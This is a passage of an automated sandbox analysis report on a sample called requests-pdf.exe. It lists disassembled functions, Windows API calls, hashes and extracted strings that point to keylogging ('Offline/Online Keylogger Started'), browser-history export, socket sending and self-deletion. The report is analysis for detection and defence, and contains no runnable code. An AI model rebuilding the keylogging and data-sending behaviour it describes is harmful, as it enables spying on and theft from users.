                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                    • Instruction ID: 78b16e2cd2bc6e4547488c8f4e3d182d22cf8911186b8f77a4a783cd10448158
                                                    • Opcode Fuzzy Hash: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                    • Instruction Fuzzy Hash: 9AF01232505600BBE620EB59E8C5C1773E9EB827147A9482BF408F7641CB3DFCC48A6C
                                                    Function 0251FA04 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 0251FA1C
                                                      • Part of subcall function 02516D2C: HeapFree.KERNEL32(00000000,00000000,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?), ref: 02516D42
                                                      • Part of subcall function 02516D2C: GetLastError.KERNEL32(?,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?,?), ref: 02516D54
                                                    • _free.LIBCMT ref: 0251FA2E
                                                    • _free.LIBCMT ref: 0251FA40
                                                    • _free.LIBCMT ref: 0251FA52
                                                    • _free.LIBCMT ref: 0251FA64
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                    • Instruction ID: 026e5e4b0a2d51c4238738e6cfbc23ff38bce52b3c81ab14ce9ab7252883f717
                                                    • Opcode Fuzzy Hash: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                    • Instruction Fuzzy Hash: 2DF01232505304ABE660DBA5E885C1A7BEFFA40724B945819F008D79A0C736FCC0CA5C
                                                    Function 004432E7 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 00443305
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 00443317
                                                    • _free.LIBCMT ref: 0044332A
                                                    • _free.LIBCMT ref: 0044333B
                                                    • _free.LIBCMT ref: 0044334C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                    • Instruction ID: 76e6a482bc9a1727a28655d1f271e5fc3ecde01143ea680422932a64b095765e
                                                    • Opcode Fuzzy Hash: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                    • Instruction Fuzzy Hash: B9F05EF08075209FAB12AF2DBD014893BA0B786755306413BF41EB2772EB380D95DB8E
                                                    Function 00416751 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 182threadwindowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 00416768
                                                    • GetWindowTextW.USER32(?,?,0000012C), ref: 0041679A
                                                    • IsWindowVisible.USER32(?), ref: 004167A1
                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ProcessWindow$Open$TextThreadVisible
                                                    • String ID: (FG
                                                    • API String ID: 3142014140-2273637114
                                                    • Opcode ID: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                    • Instruction ID: 6337817d5adb2ff800b6fe7f9081d1b6a06097940366009b721c4d78a1625a25
                                                    • Opcode Fuzzy Hash: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                    • Instruction Fuzzy Hash: FD71E6321082414AC325FB61D8A5ADFB3E4AFE4319F50453EF58A530E1EF746A49C79A
                                                    Function 024E69B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 182threadwindowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 024E69CF
                                                    • GetWindowTextW.USER32(?,?,0000012C), ref: 024E6A01
                                                    • IsWindowVisible.USER32(?), ref: 024E6A08
                                                      • Part of subcall function 024EB5E4: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 024EB5FC
                                                      • Part of subcall function 024EB5E4: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 024EB60F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ProcessWindow$Open$TextThreadVisible
                                                    • String ID: (FG
                                                    • API String ID: 3142014140-2273637114
                                                    • Opcode ID: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                    • Instruction ID: 044bf96fa8e286f23c07cc918cd1a150999bce869dba33547cfa469dae0be20d
                                                    • Opcode Fuzzy Hash: c7140c968b57e192add68dc6676992042de4a480ef872d90ee77a690e46fad53
                                                    • Instruction Fuzzy Hash: C371F6311082414EC366FB61D874EEFB3A6FFD4304F50896ED98A421A5EF705A49CF52
                                                    Function 024E2C11 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 173registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 024E2C84
                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 024E2CB3
                                                    • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,00002710,?,?,?,00000000,?,?,?,?), ref: 024E2D54
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Enum$InfoQueryValue
                                                    • String ID: DG
                                                    • API String ID: 3554306468-2560412334
                                                    • Opcode ID: bddf4943656ecba2bd9c39908ecfff909f44732c8dc369bfccc853cd4406e952
                                                    • Instruction ID: cfe66b39cdbe054a7a240c7c9a04ef70eb6d9ee226ebc2705e51d2804bf10a36
                                                    • Opcode Fuzzy Hash: bddf4943656ecba2bd9c39908ecfff909f44732c8dc369bfccc853cd4406e952
                                                    • Instruction Fuzzy Hash: EC511C72108345AFD311EB61D854EAFB7EDEF84700F40492EFA9692151EB70EA09CF62
                                                    Function 0044D459 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _strpbrk.LIBCMT ref: 0044D4A8
                                                    • _free.LIBCMT ref: 0044D5C5
                                                      • Part of subcall function 0043A854: IsProcessorFeaturePresent.KERNEL32(00000017,0043A826,?,?,00401962,?,?,00000000,?,?,0043A846,00000000,00000000,00000000,00000000,00000000), ref: 0043A856
                                                      • Part of subcall function 0043A854: GetCurrentProcess.KERNEL32(C0000417), ref: 0043A878
                                                      • Part of subcall function 0043A854: TerminateProcess.KERNEL32(00000000), ref: 0043A87F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                    • String ID: *?$.
                                                    • API String ID: 2812119850-3972193922
                                                    • Opcode ID: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                    • Instruction ID: 2d4433a3afc190a5690657b280c6536bac4d5ba0d1806d6c31be7b1549e3be36
                                                    • Opcode Fuzzy Hash: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                    • Instruction Fuzzy Hash: 7251B371E00109AFEF14DFA9C881AAEB7F5EF58318F24416FE854E7301DA799E018B54
                                                    Function 0251D6C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _strpbrk.LIBCMT ref: 0251D70F
                                                    • _free.LIBCMT ref: 0251D82C
                                                      • Part of subcall function 0250AABB: IsProcessorFeaturePresent.KERNEL32(00000017,0250AA8D,?,?,024D1BC9,?,?,00000000,?,?,0250AAAD,00000000,00000000,00000000,00000000,00000000), ref: 0250AABD
                                                      • Part of subcall function 0250AABB: GetCurrentProcess.KERNEL32(C0000417), ref: 0250AADF
                                                      • Part of subcall function 0250AABB: TerminateProcess.KERNEL32(00000000), ref: 0250AAE6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                    • String ID: *?$.
                                                    • API String ID: 2812119850-3972193922
                                                    • Opcode ID: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                    • Instruction ID: 61868a8506a8138e0dd3d95147a3e6f9a713bffaa486f0abcbc686e7097109d7
                                                    • Opcode Fuzzy Hash: 5e5281a7710df1af016e28c269081ecff319cf0b763ae5275be817dad69de84b
                                                    • Instruction Fuzzy Hash: E5519075E0121AAFEF14DFA8C880AADBBB6FF88314F248169D854E7340E7359A01CF54
                                                    Function 004095D6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetKeyboardLayoutNameA.USER32(?), ref: 00409601
                                                      • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                      • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                      • Part of subcall function 0041B6AA: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409689,00473EE8,?,00473EE8,00000000,00473EE8,00000000), ref: 0041B6BF
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateFileKeyboardLayoutNameconnectsendsocket
                                                    • String ID: XCG$`AG$>G
                                                    • API String ID: 2334542088-2372832151
                                                    • Opcode ID: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                    • Instruction ID: 7adbea44916697806613a62f0197ef330eb15d5bc584e2d7fa9685cab7613629
                                                    • Opcode Fuzzy Hash: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                    • Instruction Fuzzy Hash: 865143321042405BC325F775D8A2AEF73D5AFE4308F50483FF84A671E2EE785949C69A
                                                    Function 024D983D Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetKeyboardLayoutNameA.USER32(?), ref: 024D9868
                                                      • Part of subcall function 024D4458: socket.WS2_32(00000000,00000001,00000006), ref: 024D4479
                                                      • Part of subcall function 024D44F3: connect.WS2_32(?,00000000,00000000), ref: 024D450C
                                                      • Part of subcall function 024EB911: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,024D98F0,00473EE8,?,00473EE8,00000000,00473EE8,00000000), ref: 024EB926
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateFileKeyboardLayoutNameconnectsendsocket
                                                    • String ID: XCG$`AG$>G
                                                    • API String ID: 2334542088-2372832151
                                                    • Opcode ID: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                    • Instruction ID: f0514baa5cd6546ed1ef008ce8ae95107b75101fa1d174c8d9fb2af4a1ae399d
                                                    • Opcode Fuzzy Hash: 57430c91427567827473bab5627dcff1f7b98a8ead265141081511e002c0e5a5
                                                    • Instruction Fuzzy Hash: AC5122312482405FD36AF725D874AEF73A6EFD4300F50896FE98A43291EE70994ACE56
                                                    Function 024D44F3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • connect.WS2_32(?,00000000,00000000), ref: 024D450C
                                                    • WSAGetLastError.WS2_32(?,?,?,024D1B92), ref: 024D464E
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLastLocalTimeconnect
                                                    • String ID: Connection Failed: $TLS Handshake... |
                                                    • API String ID: 227477821-1510355367
                                                    • Opcode ID: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                    • Instruction ID: b98353539d78f3fc509ca1073dee6da05d59d869603ad855eafd674ff45bbfed
                                                    • Opcode Fuzzy Hash: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                    • Instruction Fuzzy Hash: F8412774B00701B79B04F77B8C3662EBA57AB81740B40415FDA0247792FFA698648FE7
                                                    Function 004426D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\requests-pdf.exe,00000104), ref: 00442714
                                                    • _free.LIBCMT ref: 004427DF
                                                    • _free.LIBCMT ref: 004427E9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$FileModuleName
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe
                                                    • API String ID: 2506810119-4276748929
                                                    • Opcode ID: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                    • Instruction ID: 3cff5717343a4e3a710d875500e96c622d597d45f5ef159119de948e6b6562f0
                                                    • Opcode Fuzzy Hash: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                    • Instruction Fuzzy Hash: 3E31B371A00218AFEB21DF9ADD81D9EBBFCEB85314F54406BF804A7311D6B88E41DB59
                                                    Function 0251293B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\requests-pdf.exe,00000104), ref: 0251297B
                                                    • _free.LIBCMT ref: 02512A46
                                                    • _free.LIBCMT ref: 02512A50
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$FileModuleName
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe
                                                    • API String ID: 2506810119-4276748929
                                                    • Opcode ID: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                    • Instruction ID: 45000a11a7b5b335980d4485ff1fafd085222d2bbadd1907e4aace5fb8f2e483
                                                    • Opcode Fuzzy Hash: 037ffcd8ae4620a35ea0d85ea656a28a2901847f16e257e4da60b9a7372ecd68
                                                    • Instruction Fuzzy Hash: 0D318271A01229AFEB21DF99DC84A9EBBFDFB85310F104066ED05D7254D7B09E81CB58
                                                    Function 024E6863 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103sleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ShellExecuteW.SHELL32(00000000,0046559C,0046BA00,00000000,00000000,00000000), ref: 024E68C3
                                                      • Part of subcall function 024EB881: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    • Sleep.KERNEL32(00000064), ref: 024E68EF
                                                    • DeleteFileW.KERNEL32(00000000), ref: 024E6923
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CreateDeleteExecuteShellSleep
                                                    • String ID: /t
                                                    • API String ID: 1462127192-3161277685
                                                    • Opcode ID: bb2c0f94cc430c17f8d99c3ea8886f75899e052070629971ff6dc793af8fbd9b
                                                    • Instruction ID: f655858ccc82c80cdc3bc94a2302298f2e5be29eb086ba0fcd2b439c4104a49c
                                                    • Opcode Fuzzy Hash: bb2c0f94cc430c17f8d99c3ea8886f75899e052070629971ff6dc793af8fbd9b
                                                    • Instruction Fuzzy Hash: AB3176319001095BDB19FBA1DCB5EED773AEF10305F40416FE906671D1EFA05A8ACE95
                                                    Function 00403A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403A2A
                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9,?,?,00403AB9,00465324), ref: 004176CC
                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF,?,?,00403AB9,00465324), ref: 004176D5
                                                      • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    • Sleep.KERNEL32(000000FA,00465324), ref: 00403AFC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                    • String ID: /sort "Visit Time" /stext "$8>G
                                                    • API String ID: 368326130-2663660666
                                                    • Opcode ID: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                    • Instruction ID: 7eda923cdb9144c2d3fbd791e6ccfb72172be11f11f2a08a3aebfaec1b2861d2
                                                    • Opcode Fuzzy Hash: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                    • Instruction Fuzzy Hash: E5317331A0021456CB14FBB6DC969EE7775AF90318F40017FF906B71D2EF385A8ACA99
                                                    Function 004098A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateThread.KERNEL32(00000000,00000000,004099A9,004740F8,00000000,00000000), ref: 0040992A
                                                    • CreateThread.KERNEL32(00000000,00000000,00409993,004740F8,00000000,00000000), ref: 0040993A
                                                    • CreateThread.KERNEL32(00000000,00000000,004099B5,004740F8,00000000,00000000), ref: 00409946
                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateThread$LocalTimewsprintf
                                                    • String ID: Offline Keylogger Started
                                                    • API String ID: 465354869-4114347211
                                                    • Opcode ID: 0185d7c11a47f4d1cc67a4ecd2b8329abf3b52d4ddc89e50534bed34fd3ab50c
                                                    • Instruction ID: 73cd13916ef890eca76c0e29a3751801184202c96e3ca0ae9416a03768ca9078
                                                    • Opcode Fuzzy Hash: 0185d7c11a47f4d1cc67a4ecd2b8329abf3b52d4ddc89e50534bed34fd3ab50c
                                                    • Instruction Fuzzy Hash: CF11ABB15003097AD220BA36DC87CBF765CDA813A8B40053EF845225D3EA785E54C6FB
                                                    Function 024DAADD Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 024DAAEB
                                                    • wsprintfW.USER32 ref: 024DAB6C
                                                      • Part of subcall function 024D9FBF: SetEvent.KERNEL32(00000000,?,00000000,024DAB83,00000000), ref: 024D9FEB
                                                    Strings
                                                    • [%04i/%02i/%02i %02i:%02i:%02i , xrefs: 024DAAF4
                                                    • Offline Keylogger Started, xrefs: 024DAAE4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EventLocalTimewsprintf
                                                    • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started
                                                    • API String ID: 1497725170-184404310
                                                    • Opcode ID: d5ceb195e9b1766e7296a956330388e17a452e3f282c8842e463cd6a29e782c0
                                                    • Instruction ID: 070bc78ed8216e90194902231b81fe66d89c6108d0ad1529613009693a4eb866
                                                    • Opcode Fuzzy Hash: d5ceb195e9b1766e7296a956330388e17a452e3f282c8842e463cd6a29e782c0
                                                    • Instruction Fuzzy Hash: 48119672404118AACB19FB96EC60CFE77BAAE44311B00002FF90256181EFB85A85CEA5
                                                    Function 0040A611 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • CreateThread.KERNEL32(00000000,00000000,00409993,?,00000000,00000000), ref: 0040A691
                                                    • CreateThread.KERNEL32(00000000,00000000,004099B5,?,00000000,00000000), ref: 0040A69D
                                                    • CreateThread.KERNEL32(00000000,00000000,004099C1,?,00000000,00000000), ref: 0040A6A9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateThread$LocalTime$wsprintf
                                                    • String ID: Online Keylogger Started
                                                    • API String ID: 112202259-1258561607
                                                    • Opcode ID: 0ab913a718ddbccfb03f45b8536d2eca94befdef1450a1bc42c59ede1cf71113
                                                    • Instruction ID: 3917ec9fcb61ff418b23047d8298326e5ff7fd14d64f683336ff9c65b5464130
                                                    • Opcode Fuzzy Hash: 0ab913a718ddbccfb03f45b8536d2eca94befdef1450a1bc42c59ede1cf71113
                                                    • Instruction Fuzzy Hash: DE01C4916003093AE62076368C87DBF3A6DCA813A8F40043EF541362C3E97D5D5582FB
                                                    Function 0044AA73 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • CloseHandle.KERNEL32(00000000,00000000,`@,?,0044A991,`@,0046DD28,0000000C), ref: 0044AAC9
                                                    • GetLastError.KERNEL32(?,0044A991,`@,0046DD28,0000000C), ref: 0044AAD3
                                                    • __dosmaperr.LIBCMT ref: 0044AAFE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
